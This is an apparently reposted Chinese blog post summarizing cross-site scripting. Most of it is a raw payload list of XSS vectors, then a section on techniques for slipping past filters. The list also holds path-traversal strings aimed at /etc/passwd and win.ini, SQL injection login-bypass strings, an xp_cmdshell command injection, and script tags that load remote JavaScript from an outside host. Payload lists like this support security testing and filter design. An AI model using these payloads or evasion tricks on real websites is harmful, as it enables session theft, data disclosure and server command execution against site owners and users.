XSS知识的总结

一、XSS简介

跨站点脚本(Cross-site scripting,通常简称为XSS或跨站脚本或跨站脚本攻击)是一种站点应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java, VBScript, ActiveX, Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。

二、XSS基本语句

<script>alert(document.cookie)</script>
='><script>alert(document.cookie)</script>
<script>alert(document.cookie)</script>
<script>alert(vulnerable)</script>
%3Cscript%3Ealert('XSS')%3C/script%3E
<script>alert('XSS')</script>
<img src="javascript:alert('XSS')">
%0a%0a<script>alert(\"Vulnerable\")</script>.jsp
%22%3cscript%3ealert(%22xss%22)%3c/script%3e
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini
%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
%3f.jsp
%3f.jsp
<script>alert('Vulnerable');</script>
<script>alert('Vulnerable')</script>
?sql_debug=1
a%5c.aspx
a.jsp/<script>alert('Vulnerable')</script>
a/
a?<script>alert('Vulnerable')</script>
"><script>alert('Vulnerable')</script>
';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&&
%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
%3Cscript%3Ealert(document. domain);%3C/script%3E&
%3Cscript%3Ealert(document.domain);%3C/script%3E&SESSION_ID={SESSION_ID}&SESSION_ID=
1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname=
../../../../../../../../etc/passwd
..\..\..\..\..\..\..\..\windows\system.ini
\..\..\..\..\..\..\..\..\windows\system.ini
'';!--"<XSS>=&{()}
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=JaVaScRiPt:alert('XSS')>
<IMG SRC=JaVaScRiPt:alert("XSS")>
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=javascript:alert('XSS')>
<IMG SRC="jav    ascript:alert('XSS');">
<IMG SRC="jav
ascript:alert('XSS');">
<IMG SRC="jav
ascript:alert('XSS');">
"<IMG SRC=java\0script:alert(\"XSS\")>";' > out
<IMG SRC=" javascript:alert('XSS');">
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
<BODY BACKGROUND="javascript:alert('XSS')">
<BODY ONLOAD=alert('XSS')>
<IMG DYNSRC="javascript:alert('XSS')">
<IMG LOWSRC="javascript:alert('XSS')">
<BGSOUND SRC="javascript:alert('XSS');">
<br size="&{alert('XSS')}">
<LAYER SRC="http://xss.ha.ckers.org/a.js"></layer>
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
<IMG SRC='vbscript:msgbox("XSS")'>
<IMG SRC="mocha:[code]">
<IMG SRC="livescript:[code]">
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
<IFRAME SRC=javascript:alert('XSS')></IFRAME>
<FRAMESET><FRAME SRC=javascript:alert('XSS')></FRAME></FRAMESET>
<TABLE BACKGROUND="javascript:alert('XSS')">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');">
<DIV STYLE=" expression(alert('XSS'));">
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
<IMG STYLE='xss:expre\ssion(alert("XSS"))'>
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
<STYLE TYPE="text/css">.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<BASE HREF="javascript:alert('XSS');//">
getURL("javascript:alert('XSS')")
a="get";b="URL";c="javascript:";d="alert('XSS');";eval(a+b+c+d);
<XML SRC="javascript:alert('XSS');">
"> <BODY ONLOAD="a();"><SCRIPT>function a(){alert('XSS');}</SCRIPT><"
<SCRIPT SRC="http://xss.ha.ckers.org/xss.jpg"></SCRIPT>
<IMG SRC="javascript:alert('XSS')"
<!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://xss.ha.ckers.org/a.js></SCRIPT>'"-->
<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
<SCRIPT a=">" SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT =">" SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT a=">" '' SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT "a='>'" SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
<A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A>
admin'--
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a

三、XSS绕过过滤
1、转义字符

斜杠在JAVASCRIPT有着特殊的用途,它是转义的符号。

例如:<script>alert('test');</script>的十六进制转移字符串为

/x3C/x73/x63/x72/x69/x70/x74/x3E/x61/x6C/x65/x72/x74/x28/x27/x74/x65/x73/x74/x27/x29/x3B/x3C/x2F/x73/x63/x72/x69/x70/x74/x3E

因为前面的斜杠缘故,所以后面的这些字符在JAVASCRIPT中都会被还原。

这个方法对于八进制同样奏效。

2、字符转义(先写上,暂时还没成功)

\u003c和\u003e来代替<和>

例如:

[0xc0]\u003cscript[0xc0]\u003ealert('hello')\[0xc0]u003c/script[0xc0]\u003e

3、用控制字符的ASCII码填充

比如<IMG SRC="&#15;JavaScript:alert('XSS');">,如果你熟悉ASCII码,你应该 知道系统控制字符一共是33个,这里去掉一个头&#00(null)和一个尾&#127(del),其他31个字符 均可以顺利插入代码头部,对过滤系统进行混淆,并且不影响原代码执行,而且你依然可以用"代码插入 方式"中的"方案7"进行编码的任意转换。七种tab符&#9、换行符&#10、回车符&#13可以插到代码任何地方。

4、插入混淆属性

当我们进行一般的文字录入时会发现,并不是所有带"JavaSceipt"这样的字符都会被过滤掉。而是只有在html标签内的特殊字符会被滤掉,这使得我们有了令一套绕过措施,在插入代码的属性前面插 入另一混淆属性,并在该属性中插入让过滤系统误以为是标签结束符的字符,从而让过滤系统认为执行代码在html标签的外面。比如:

<img src="abc>" onmouseover="[code]">            //插入混淆的src属 性
<IMG """><SCRIPT>[code]</SCRIPT>">            //插入混 淆的双引号及 “>”符号
<SCRIPT a=">" SRC="xss.js"></SCRIPT>            //插入混淆的a 属性

5、用注释符分割

由于浏览器会忽略掉每种代码的注释符,因此如果我们在代码中的注释符就可以成功地欺骗过滤 系统并且不影响XSS代码的正常运行。比如:

<img style="xss:expr/*XSS*/ession([code])">            //css的注释符号 为/**/,其中的内容会被忽略
<style>@im\port'\ja\vasc\ript:alert("XSS")';</style>            //css中忽略的符号还有“\”
exp/*<A STYLE='no\xss:noxss("*//*");xss:&#101;x&#x2F;*XSS*//*/*/pression (alert("XSS"))'>            //注释混淆后的样子
<style><!--</style><script>[code]//-- ></script>            //html的注释符为<!--注释-->

、突破XSS字符数量限制执行任意JS代码

http://www.heibai.net/articles/technical/bianchengxiangguan/2009/0903/681.html

五、利用窗口引用漏洞和XSS漏洞实现浏览器劫持

http://www.myhack58.com/Article/html/3/7/2009/23165.htm

先这么多吧,以后遇到了再更新。

参考:

【1】http://zh.wikipedia.org/wiki/%E8%B7%A8%E7%B6%B2%E7%AB%99%E6%8C%87%E4%BB%A4%E7%A2%BC

【2】http://www.hackbase.com/tech/2009-08-24/55258.html

【3】http://www.beidaqingniao.org/edu/c/gongfang/1107.html

【4】http://security.zdnet.com.cn/security_zone/2011/0808/2051328.shtml?text1=a&submit=%CC%E1%BD%BB%B2%E9%D1%AF%C4%DA%C8%DD

【5】http://www.hackbase.com/tech/2012-10-19/66888.html

【6】http://chaoyueziwo21.blogbus.com/logs/20491494.html

【7】http://www.heibai.net/articles/technical/bianchengxiangguan/2009/0903/681.html

原文地址:https://www.cnblogs.com/dgy5554/p/3973422.html